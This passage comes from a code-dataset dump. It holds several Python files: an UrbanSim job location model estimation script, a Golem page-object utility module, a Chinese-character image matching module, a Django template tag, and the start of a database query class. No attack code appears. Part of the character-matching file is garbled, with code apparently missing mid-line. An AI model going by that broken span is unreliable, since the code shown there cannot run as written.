"django.db.migrations", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 39, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 39, "usage_type": "name"}]} +{"seq_id": "168111732", "text": "#!/usr/bin/env python\n# coding: utf-8\nfrom urbansim.models.regression import RegressionModel\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport orca\nfrom urbansim.utils import misc\nimport sys\nimport time\nfrom tqdm import tqdm\nimport time\nimport yaml\n\nfrom dcm_ard_libs import minimize, neglog_DCM\nfrom fit_large_MNL_LCM import run_elcm_large_MNL\nfrom urbansim_templates import modelmanager as mm\nmm.initialize('configs/elcm_2050')\n\n# from guppy import hpy; h=hpy()\n# import pymrmr\n\n# suppress sklearn warnings\ndef warn(*args, **kwargs):\n pass\n\nos.chdir(\"/home/da/semcog_urbansim\")\n\n# import utils\n# data_path = r\"/home/da/share/U_RDF2050/model_inputs/base_hdf\"\ndata_path = r'/home/da/share/urbansim/RDF2050/model_inputs/base_hdf'\nhdf_list = [\n (data_path + \"/\" + f)\n for f in os.listdir(data_path)\n if (\"forecast_data_input\" in f) & (f[-3:] == \".h5\")\n]\nhdf_last = max(hdf_list, key=os.path.getctime)\nhdf = pd.HDFStore(hdf_last, \"r\")\n# hdf = pd.HDFStore(data_path + \"/\" +\"forecast_data_input_091422.h5\", \"r\")\nprint(\"HDF data: \", hdf_last)\n\nvar_validation_list = [\n (data_path + \"/\" + f)\n for f in os.listdir(data_path)\n if (\"variable_validation\" in f) & (f[-5:] == \".yaml\")\n]\nvar_validation_last = max(var_validation_list, key=os.path.getctime)\nwith open(var_validation_last, \"r\") as f:\n vars_config = yaml.load(f, Loader=yaml.FullLoader)\nvalid_b_vars = vars_config[\"buildings\"][\"valid variables\"]\nvalid_job_vars = vars_config[\"jobs\"][\"valid variables\"]\n\n\ndef apply_filter_query(df, filters=None):\n if filters:\n if isinstance(filters, str):\n query = filters\n else:\n query = \" and \".join(filters)\n return df.query(query)\n else:\n return df\n\n\ndef load_hlcm_df(jobs, buildings, job_var, b_var):\n jobs = jobs.to_frame(job_var)\n b = buildings.to_frame(b_var)\n return jobs, b\n\ndef columns_in_vars(jobs, buildings, vars):\n job_columns, b_columns = [], []\n for varname in vars:\n if varname in jobs.columns:\n job_columns.append(varname.strip())\n elif varname in buildings.columns:\n b_columns.append(varname.strip())\n else:\n print(varname, \" not found in both jobs and buildings table\")\n return job_columns, b_columns\n \n\ndef get_interaction_vars( df, varname):\n \"\"\"Get interaction variables from variable name\n\n Args:\n varname (string): name of the interaction variable\n \"\"\"\n if \":\" in varname:\n var1, var2 = varname.split(\":\")\n var1, var2 = var1.strip(), var2.strip()\n return (df[var1] * df[var2]).values.reshape(-1, 1)\n else:\n return df[varname].values.reshape(-1, 1)\n\n\nused_vars = pd.read_excel(\"/home/da/share/urbansim/RDF2050/model_estimation/configs_elcm_large_area_sector.xlsx\", sheet_name=1)\nv1 = used_vars[~used_vars[\"variables 1\"].isna()][\"variables 1\"].unique()\nv2 = used_vars[~used_vars[\"Variables 2\"].isna()][\"Variables 2\"].unique()\nvars_to_use = np.array(list(set(v1.tolist()).union(v2.tolist())))\n# vars_to_use = used_vars[0].unique()\n\n# config\nchoice_column = \"building_id\"\njob_filter_columns = [\"building_id\", \"slid\", \"home_based_status\"]\nb_filter_columns = [\"large_area_id\", \"non_residential_sqft\", \"vacant_job_spaces\"]\n# load variables\nRELOAD = False\nif RELOAD:\n # from notebooks.models_test import *\n import models\n buildings = orca.get_table(\"buildings\")\n jobs = orca.get_table(\"jobs\")\n orca.add_injectable('year', 2020)\n orca.run([\"build_networks_2050\"])\n orca.run([\"neighborhood_vars\"])\n # TODO: get vars from vars list from last forecast\n job_columns, b_columns = columns_in_vars(jobs, buildings, vars_to_use)\n\n job_var = job_columns + job_filter_columns\n b_var = b_columns + b_filter_columns\n job_region, b_region = load_hlcm_df(jobs, buildings, job_var, b_var)\n job_region.to_csv('jobs.csv')\n b_region.to_csv('b_elcm.csv')\nelse:\n job_region = pd.read_csv('jobs.csv', index_col=0)\n b_region = pd.read_csv('b_elcm.csv', index_col=0)\n orca.add_table('jobs', job_region)\n orca.add_table('buildings', b_region)\n\ndef estimation(SLID):\n job_sample_size = 1000\n estimation_sample_size = 80\n # sampling jobs\n # from the new move-ins, last 5-10 years\n # weighted by mcd_quota\n job = job_region[job_region.slid == SLID]\n job = job[job.building_id > 1]\n job = job[job.home_based_status == 0]\n # if total number of job is less than job_sample_size \n job_sample_size = min(job_sample_size, job.shape[0])\n job = job.sample(job_sample_size)\n job = job.reset_index()\n job = job.fillna(0)\n # sampling b\n # sample buildings from the chosen job's buildings list\n bid_sample_pool = b_region[b_region.large_area_id == SLID % 1000].index\n sampled_b_id = []\n for _ in range(estimation_sample_size-1):\n for j in job.building_id:\n sampled_b_id.append(np.random.choice(bid_sample_pool[bid_sample_pool!=j]))\n\n b_sample = b_region.loc[sampled_b_id]\n b_sample = pd.concat([b_region.loc[job.building_id], b_sample])\n b_sample = b_sample.reset_index()\n b_sample = b_sample.fillna(0)\n # remove unnecessary col in jobs\n job = job[[col for col in job.columns if col not in job_filter_columns+[\"job_id\"]]]\n # remove unnecessary col in buildings\n b_sample = b_sample[[col for col in b_sample.columns if col not in b_filter_columns]]\n\n X_df = pd.concat(\n [pd.concat([job]*estimation_sample_size).reset_index(drop=True), b_sample], axis=1)\n # Y: 1 for the building picked\n # Y = X_df.building_id.isin(picked_bid).astype(int).values\n # Y: set first job_sample_size item 1\n Y = np.zeros((job_sample_size*estimation_sample_size,1), dtype=int)\n Y[:job_sample_size,0] = 1\n # remove extra cols\n X_df = X_df[[col for col in X_df.columns if col not in ['building_id']]]\n # create interaction variables\n newX_cols_name = vars_to_use\n X_wiv = np.array([])\n for varname in newX_cols_name:\n if X_wiv.size > 0:\n X_wiv = np.concatenate((X_wiv, get_interaction_vars(X_df, varname)), axis=1)\n else:\n X_wiv = get_interaction_vars(X_df, varname)\n\n # df to ndarray\n X = X_wiv\n\n # col index with 0 variation\n used_val = np.arange(X.shape[1])[np.std(X, axis=0, dtype=np.float64) > 0]\n unused_val = np.array([x for x in range(X.shape[1]) if x not in used_val])\n\n # only keep variables with variation\n X = X[:, np.std(X, axis=0, dtype=np.float64) > 0]\n # standardize X\n X = (X - np.mean(X, axis=0)) / np.std(X, axis=0, dtype=np.float64)\n # shuffle X\n shuffled_index = np.arange(Y.size)\n np.random.shuffle(shuffled_index)\n X = X[shuffled_index, :].astype(float)\n Y = Y[shuffled_index].reshape(-1, 1)\n # TODO: Y_onehot\n Y_onehot = Y\n # availablechoice is 1\n available_choice = np.ones((X.shape[0], 1))\n\n # theta: m x 1\n theta = np.zeros((X.shape[1], 1))\n\n # dtypes conversion\n X = {0:X, 1:X}\n theta = {0:theta, 1:theta}\n Y = 1 - Y # 0 means picked, 1 means not picked\n Y_onehot = np.concatenate((Y_onehot, 1-Y_onehot), axis=1)\n available_choice = np.concatenate((available_choice, available_choice), axis=1)\n\n t0 = time.time()\n theta_optim_full = minimize(theta, neglog_DCM, -3000, X, Y, Y_onehot, available_choice)\n t1 = time.time()\n print(\"minimizer finished in \", t1-t0)\n\n # exporting theta\n out_theta = pd.DataFrame(theta_optim_full[0], columns=['theta'])\n out_theta.index = newX_cols_name[used_val]\n out_theta = out_theta.loc[out_theta.theta.abs().sort_values(ascending=False).index]\n out_theta.to_csv('./configs/elcm_2050/thetas/out_theta_job_%s_%s.txt' % (SLID, estimation_sample_size))\n\n print(\"Warning: variables with 0 variation\")\n print(newX_cols_name[unused_val.tolist()])\n print('ARD-DCM done')\n\nif __name__ == \"__main__\":\n # run_elcm_large_MNL(job_region, b_region, 1100115, 10)\n slid_list = job_region['slid'].unique().tolist()\n for slid in slid_list:\n # if selected sector_id, skip it and use job scaling model instead\n sector_id = slid // 100000\n if sector_id in [1, 7, 12, 13, 15, 18]:\n continue\n # skip slid which have very small sample size\n if slid in [1100115, 1100147]:\n continue\n # estimation(slid)\n run_elcm_large_MNL(slid, 20)\n # estimation(500125)\n # run_elcm_large_MNL(job_region, b_region, 500125, 30)\n # slid which have failed LargeMNL run due to LinAlgError:\n # [500115, 500093, 1100093, 1500115]", "sub_path": "ELCM_estimation.py", "file_name": "ELCM_estimation.py", "file_ext": "py", "file_size_in_byte": 8531, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "urbansim_templates.modelmanager.initialize", "line_number": 19, "usage_type": "call"}, {"api_name": "urbansim_templates.modelmanager", "line_number": 19, "usage_type": "name"}, {"api_name": "os.chdir", "line_number": 28, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pandas.HDFStore", "line_number": 39, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 50, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pandas.read_excel", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 100, "usage_type": "call"}, {"api_name": "orca.get_table", "line_number": 112, "usage_type": "call"}, {"api_name": "orca.get_table", "line_number": 113, "usage_type": "call"}, {"api_name": "orca.add_injectable", "line_number": 114, "usage_type": "call"}, {"api_name": "orca.run", "line_number": 115, "usage_type": "call"}, {"api_name": "orca.run", "line_number": 116, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 126, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 127, "usage_type": "call"}, {"api_name": "orca.add_table", "line_number": 128, "usage_type": "call"}, {"api_name": "orca.add_table", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 151, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 154, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 162, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 184, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 188, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 190, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 193, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 209, "usage_type": "call"}, {"api_name": "time.time", "line_number": 211, "usage_type": "call"}, {"api_name": "dcm_ard_libs.minimize", "line_number": 212, "usage_type": "call"}, {"api_name": "dcm_ard_libs.neglog_DCM", "line_number": 212, "usage_type": "argument"}, {"api_name": "time.time", "line_number": 213, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 217, "usage_type": "call"}, {"api_name": "fit_large_MNL_LCM.run_elcm_large_MNL", "line_number": 238, "usage_type": "call"}]} +{"seq_id": "9202642", "text": "\"\"\"Methods for dealing with page object modules\nPage object are modules located inside /pages/ directory\n\"\"\"\nimport importlib\nimport os\nimport types\nimport inspect\n\nfrom golem.core import utils, file_manager\n\n\ndef page_exists(root_path, project, full_page_name):\n \"\"\"Page object exists.\n full_page_name must be dot path from the /project/pages/ \n directory\n Example: \n testdir/projects/project1/pages/modulex/pagex.py\n page_exists(root_path, 'project1', 'modulex.pagex') -> True\n \"\"\"\n page_rel_path = os.sep.join(full_page_name.split('.'))\n path = os.path.join(root_path, 'projects', project, 'pages',\n page_rel_path + '.py')\n return os.path.isfile(path)\n\n\ndef get_page_object_content(project, full_page_name):\n \"\"\"Parses a page object and returns it's contents\n in dictionary format.\n \n Page Object Contents:\n functions : list of functions\n elements : web elements defined inside page\n import lines : list of import lines\n source code : source code as string\n\n Each function contains:\n function_name\n description\n arguments\n code\n\n Each element contains:\n element_selector\n element_value\n element_display_name\n element_full_name\n \"\"\"\n po_data = {\n 'functions': [],\n 'elements': [],\n 'import_lines': [],\n 'code_lines': [],\n 'source_code': ''\n }\n _ = 'projects.{0}.pages.{1}'.format(project, full_page_name)\n modulex = importlib.import_module(_)\n # get all the names of the module,\n # ignoring the ones starting with '_'\n variable_list = [i for i in dir(modulex) if not i.startswith(\"_\")]\n \n # get all the import lines in a list\n try:\n po_data['source_code'] = inspect.getsource(modulex)\n except:\n print('Parsing of {} failed'.format(full_page_name))\n po_data['code_lines'] = po_data['source_code'].split('\\n')\n for line in po_data['code_lines']:\n if 'import' in line:\n po_data['import_lines'].append(line)\n for var_name in variable_list:\n variable = getattr(modulex, var_name)\n if isinstance(variable, types.FunctionType):\n # this is a function\n new_function = {\n 'function_name': var_name,\n 'full_function_name': ''.join([full_page_name, '.', var_name]),\n 'description': inspect.getdoc(variable),\n 'arguments': list(inspect.signature(variable).parameters),\n 'code': inspect.getsource(variable)\n }\n po_data['functions'].append(new_function)\n elif isinstance(variable, tuple):\n # this is a web element tuple\n if len(variable) >= 2:\n element_display_name = ''\n if len(variable) >= 3:\n element_display_name = variable[2]\n new_element = {\n 'element_name': var_name,\n 'element_selector': variable[0],\n 'element_value': variable[1],\n 'element_display_name': element_display_name,\n 'element_full_name': ''.join([full_page_name, '.', var_name])\n }\n po_data['elements'].append(new_element)\n # elif isinstance(variable, types.ModuleType):\n # pass\n else:\n pass\n # print('ERROR', variable)\n return po_data\n\n\ndef get_page_object_code(path):\n \"\"\"Get the page object code as string given the full path\n to the python file\"\"\"\n code = ''\n if os.path.isfile(path):\n with open(path) as ff:\n code = ff.read()\n return code\n\n\ndef save_page_object(root_path, project, full_page_name, elements,\n functions, import_lines):\n \"\"\"Save Page Object contents to file.\n full_page_name must be a dot path starting from /project/pages/\n directory, (i.e.: 'module.sub_module.page_name_01')\n \"\"\"\n def format_element_string(name, selector, value, display_name):\n formatted = (\"\\n\\n{0} = ('{1}', \\'{2}\\', '{3}')\"\n .format(element['name'], element['selector'],\n element['value'], element['display_name'])\n )\n return formatted\n\n page_name, parents = utils.separate_file_from_parents(full_page_name)\n page_object_path = os.path.join(root_path, 'projects', project, 'pages',\n os.sep.join(parents), '{}.py'.format(page_name))\n with open(page_object_path, 'w', encoding='utf-8') as po_file:\n for line in import_lines:\n po_file.write(\"{}\\n\".format(line))\n for element in elements:\n # replace the spaces with underlines of the element name\n if ' ' in element['name']:\n element['name'] = element['name'].replace(' ', '_')\n # escape quote characters\n element['value'] = element['value'].replace('\"', '\\\\\"').replace(\"'\", \"\\\\'\")\n if not element['display_name']:\n element['display_name'] = element['name']\n formatted = format_element_string(element['name'],\n element['selector'],\n element['value'],\n element['display_name'])\n po_file.write(formatted)\n for func in functions:\n po_file.write('\\n\\n' + func)\n\n\ndef save_page_object_code(root_path, project, full_page_name, content):\n \"\"\"Save a Page Object given it's full code as a string.\n full_page_name must be a dot path starting from /project/pages/\n directory.\n content must be the file content as string\n \"\"\"\n page_name, parents = utils.separate_file_from_parents(full_page_name)\n page_path = os.path.join(root_path, 'projects', project, 'pages',\n os.sep.join(parents), '{}.py'.format(page_name))\n with open(page_path, 'w', encoding='utf-8') as po_file:\n po_file.write(content)\n\n\ndef new_page_object(root_path, project, parents, page_name):\n \"\"\"Create a new page object.\n Parents is a list of directories and subdirectories where the\n page should be stored.\n If add_parents is True, the parent directories will be added\n if they do not exist.\"\"\"\n errors = []\n base_path = os.path.join(root_path, 'projects', project, 'pages')\n full_path = os.path.join(base_path, os.sep.join(parents))\n filepath = os.path.join(full_path, '{}.py'.format(page_name))\n if os.path.isfile(filepath):\n errors.append('A page file with that name already exists')\n if not errors:\n if not os.path.isdir(full_path):\n for parent in parents:\n base_path = os.path.join(base_path, parent)\n file_manager.create_directory(path=base_path,\n add_init=True)\n with open(filepath, 'w') as po_file:\n po_file.write('')\n return errors\n\n\ndef generate_page_path(root_path, project, full_page_name):\n \"\"\"Generates a path to a page object python file\n Example\":\n generate_page_path('user/testdir', 'project1, 'module1.page1')\n -> 'user/testdir/projects/project1/pages/module1/page1.py'\n \"\"\"\n page_name, parents = utils.separate_file_from_parents(full_page_name)\n page_path = os.path.join(root_path, 'projects', project, 'pages',\n os.sep.join(parents), '{}.py'.format(page_name))\n return page_path\n\n\ndef pages_base_dir(root_path, project):\n \"\"\"Generate base dir for pages.\n i.e.: /projets//pages/\n \"\"\"\n return os.path.join(root_path, 'projects', project, 'pages')\n", "sub_path": "golem/core/page_object.py", "file_name": "page_object.py", "file_ext": "py", "file_size_in_byte": 7753, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.sep.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "importlib.import_module", "line_number": 56, "usage_type": "call"}, {"api_name": "inspect.getsource", "line_number": 63, "usage_type": "call"}, {"api_name": "types.FunctionType", "line_number": 72, "usage_type": "attribute"}, {"api_name": "inspect.getdoc", "line_number": 77, "usage_type": "call"}, {"api_name": "inspect.signature", "line_number": 78, "usage_type": "call"}, {"api_name": "inspect.getsource", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "golem.core.utils.separate_file_from_parents", "line_number": 127, "usage_type": "call"}, {"api_name": "golem.core.utils", "line_number": 127, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "os.sep.join", "line_number": 129, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 129, "usage_type": "attribute"}, {"api_name": "golem.core.utils.separate_file_from_parents", "line_number": 156, "usage_type": "call"}, {"api_name": "golem.core.utils", "line_number": 156, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 157, "usage_type": "call"}, {"api_name": "os.path", "line_number": 157, "usage_type": "attribute"}, {"api_name": "os.sep.join", "line_number": 158, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 158, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 170, "usage_type": "call"}, {"api_name": "os.path", "line_number": 170, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 171, "usage_type": "call"}, {"api_name": "os.path", "line_number": 171, "usage_type": "attribute"}, {"api_name": "os.sep.join", "line_number": 171, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 171, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 172, "usage_type": "call"}, {"api_name": "os.path", "line_number": 172, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 173, "usage_type": "call"}, {"api_name": "os.path", "line_number": 173, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 176, "usage_type": "call"}, {"api_name": "os.path", "line_number": 176, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path", "line_number": 178, "usage_type": "attribute"}, {"api_name": "golem.core.file_manager.create_directory", "line_number": 179, "usage_type": "call"}, {"api_name": "golem.core.file_manager", "line_number": 179, "usage_type": "name"}, {"api_name": "golem.core.utils.separate_file_from_parents", "line_number": 192, "usage_type": "call"}, {"api_name": "golem.core.utils", "line_number": 192, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 193, "usage_type": "call"}, {"api_name": "os.path", "line_number": 193, "usage_type": "attribute"}, {"api_name": "os.sep.join", "line_number": 194, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 194, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 202, "usage_type": "call"}, {"api_name": "os.path", "line_number": 202, "usage_type": "attribute"}]} +{"seq_id": "533323600", "text": "#! /usr/bin/python3\n\"\"\"\n/**\n *\n * Date : 29 / 11 / 2017\n *\n * Nom : Li\n * Prenom : Xiang\n *\n * Email : xiangfr007@gmail.com\n *\n * Remarques :\t\n * \t\t\t\n */\n\"\"\"\nfrom PIL import Image\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nfrom numpy import median\nimport sys\n\nall_path = \"../chinese_characters_train\"\ntest_path = \"../chinese_test\"\nresize_wh = 100\ndecalage = 32\nfilter_row_col = 0.2\nfilter_transformation = 40\n\n# return array[resize_wh][resize_wh]\ndef fill_image_to_resize_wh(image):\n\tbase_img = [[255 for col in range(0,resize_wh)] for row in range(0,resize_wh)]\n\tbase_img = np.array(base_img)\n\tfill_img = np.array(image)\n\tfor i in range(0,fill_img.shape[0]):\n\t\tfor j in range(0,fill_img.shape[1]):\n\t\t\tbase_img[i][j] = fill_img[i][j]\n\treturn base_img\n\n# return a photo\n# zoom the photo to (?,resize_wh) or (resize_wh,?)\ndef zoom_image(image):\n\timg_array = np.array(image)\n\tx = img_array.shape[0]\n\ty = img_array.shape[1]\n\tif(x > y):\n\t\trate = resize_wh/x\n\t\ty = int(y*rate)\n\t\treturn image.resize((y,resize_wh))\n\telse:\n\t\trate = resize_wh/y\n\t\tx = int(x*rate)\n\t\treturn image.resize((resize_wh,x))\n\n# return a photo\ndef get_image_of_character(image,average):\n\timg_array = np.array(image)\n\tx = img_array.shape[0]\n\ty = img_array.shape[1]\n\txx = 0;\n\tyy = 0;\n\t#trouver le point noir le plus (haut,gauche) et celui le plus (bas,droite)\n\t#find two black point that locate (up,left) and (bottom,right)\n\tfor i in range(0,img_array.shape[0]):\n\t\tfor j in range(0,img_array.shape[1]):\n\t\t\tif(img_array[i][j] < average):\n\t\t\t\tif(i < x):\n\t\t\t\t\tx = i\n\t\t\t\tif(j < y):\n\t\t\t\t\ty = j\n\t\t\t\tif(i > xx):\n\t\t\t\t\txx = i\n\t\t\t\tif(j > yy):\n\t\t\t\t\tyy = j\n\treturn image.crop((y,x,yy,xx))\n\n#return the average gray of a photo\ndef get_average(image):\n\treturn median(image) - decalage\n\n#return the list[10] (col = False / True)\ndef get_row_col_transformation(image,average,col_flag):\n\timg_array = np.array(image)\n\tlist10 = [ 0 for i in range(10)]\n\tfor i in range(0,img_array.shape[0]):\n\t\tflag = 0\n\t\ttotal = 0\n\t\tfor j in range(0,img_array.shape[1]):\n\t\t\tnow = img_array[i][j]\n\t\t\tif(col_flag == True):\n\t\t\t\tnow = img_array[j][i]\n\t\t\tif(now < average):\n\t\t\t\tif(flag == 0):\n\t\t\t\t\ttotal += 1\n\t\t\t\t\tflag = 1\n\t\t\telse:\n\t\t\t\tif(flag== 1):\n\t\t\t\t\ttotal += 1\n\t\t\t\t\tflag = 0\n\t\tlist10[int(i/10)] += total\n\treturn list10\n\n#return a list[21] and string of ahash\ndef get_feature_image(image):\n\timage = image.convert(\"L\")\t\n\taverage = get_average(image)\n\timage_character = get_image_of_character(image,average)\n\timage_direct_resize = image_character.resize((resize_wh,resize_wh))\n\timage_filled = fill_image_to_resize_wh(zoom_image(image_character))\n\t#list[0] = row / col\n\tlist21 = []\n\tlist21.append(round((float(np.array(image_character).shape[0])/np.array(image_character).shape[1]),2))\n\t#list[1:11] = tranformation of row\n\tfor i in get_row_col_transformation(image_filled,average,False):\n\t\tlist21.append(i)\n\t#list[11:20] = tranformation of col\n\tfor i in get_row_col_transformation(image_filled,average,True):\n\t\tlist21.append(i)\n\t#ahash retrived from: https://www.cnblogs.com/luolizhi/p/5596171.html\n\t#hash_2=''.join(map(lambda i: '0' if idiff_transformation_total):\n\t\t\t\t\tdic_result[train_labels[indice]] = (row_col,diff_transformation_total,diff_hash)\n\t\n\tdic_sorted = sorted(dic_result.items(),key=lambda x:x[1][1])\n\t#print(dic_sorted)\n\t#return dic_sorted[0][0]\n\tif(len(dic_sorted) == 0):\n\t\treturn \"404\"\n\tif(len(dic_sorted) == 1):\n\t\treturn dic_sorted[0][0]\n\n\t#and (abs(dic_sorted[0][1][0] - dic_sorted[1][1][0]) < 0.1)\n\tif(dic_sorted[1][1][2] < dic_sorted[0][1][2] and (abs(dic_sorted[0][1][1]-dic_sorted[1][1][1])<10)):\n\t\treturn dic_sorted[1][0]\n\telse:\n\t\treturn dic_sorted[0][0]\n\n", "sub_path": "chinese_src/common.py", "file_name": "common.py", "file_ext": "py", "file_size_in_byte": 5435, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 112, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 154, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 154, "usage_type": "name"}]} +{"seq_id": "192419720", "text": "from django import template\nfrom django.template.loader import select_template\n\nfrom six import with_metaclass\n\nregister = template.Library()\n\n\n@register.simple_tag(takes_context=True)\ndef render_category(context, category):\n\n if not category:\n # Search index is returning products that don't exist in the\n # database...\n return \"\"\n\n names = [\n \"catalogue/category_overview.html\",\n ]\n template_ = select_template(names)\n context = context.flatten()\n\n # Ensure the passed product is in the context as 'product'\n context[\"category\"] = category\n return template_.render(context)\n", "sub_path": "capetown/layout/themes/templatetags/category_page.py", "file_name": "category_page.py", "file_ext": "py", "file_size_in_byte": 628, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.template.Library", "line_number": 6, "usage_type": "call"}, {"api_name": "django.template", "line_number": 6, "usage_type": "name"}, {"api_name": "django.template.loader.select_template", "line_number": 20, "usage_type": "call"}]} +{"seq_id": "288678498", "text": "# -*- coding: utf8 -*- #\n\n\"\"\"\n\nAutor: Marcos Felipe da Silva Jardim\n\n\"\"\"\nimport pymysql, pymssql, sys, json, re\nfrom pymongo import MongoClient\nimport re, time, os\nfrom flask import session\nfrom datetime import datetime\nfrom datetime import date\nimport config\nfrom PIL import Image, ExifTags\n\n## Classe que gera datas em formato formulario e banco mssql\nclass Data:\n __de = ''\n __ate = ''\n def __init__(self):\n self.__obterData()\n\n def __obterData(self):\n try:\n self.__de = session['de']\n self.__ate = session['ate']\n except KeyError:\n dataAtual = datetime.now()\n self.__de = '%04d-%02d-%02d' % (dataAtual.year, dataAtual.month, dataAtual.day)\n self.__ate = '%04d-%02d-%02d' % (dataAtual.year, dataAtual.month, dataAtual.day)\n\n def getDataForm(self):\n '''Obtem a data no formato tradicional'''\n return [self.__de, self.__ate]\n\n def getData(self):\n '''Obtem a data no formato de acesso ao banco de dados '''\n de = self.__de.replace('-','')\n ate = self.__ate.replace('-','')\n return [de, ate]\n\n def gravaData(self):\n ''' Grava a data atual em um cookie no formato das datas de formulario '''\n session['de'] = self.__de\n session['ate'] = self.__ate\n \n def setData(self, de, ate):\n ''' Grava as variaveis de data.'''\n padrao = re.compile('^[2][0][1-9][0-9]-([0][1-9]|[1][0-2])-([3][0-1]|[0][1-9]|[1-2][0-9])$')\n if padrao.match(de) and padrao.match(ate):\n self.__de = de\n self.__ate = ate\n else:\n return 'Data informada de forma incorreta'\n \n ## Funcao que verifica a data\n @staticmethod\n def verifica_data(de, ate):\n padrao = re.compile('^[2][0][1-9][0-9]-([0][1-9]|[1][0-2])-([3][0-1]|[0][1-9]|[1-2][0-9])$')\n if padrao.match(de) and padrao.match(ate):\n return True\n else:\n return False\n\n## Classe usada para trabalhar com consultas do tipo select. Contem muitos metodos uteis como ordenacao de colunas e filtros de campos\nclass Consulta:\n __campos = ''\n __registros = ''\n\n \n def __init__(self, consulta, usuario, senha, banco, servidor, tipo_sgbd='mysql', porta = 1433):\n \"\"\"Retorna um objeto consulta sendo os parametros consulta, usuario , senha, banco, servidor devem ser repassados no momento de criação do objeto. O único parâmetro opcional é o tipo de sgbd que vem como padrão mysql\n\t EX: obj = Consulta('select * from teste', 'root', 'marcos', 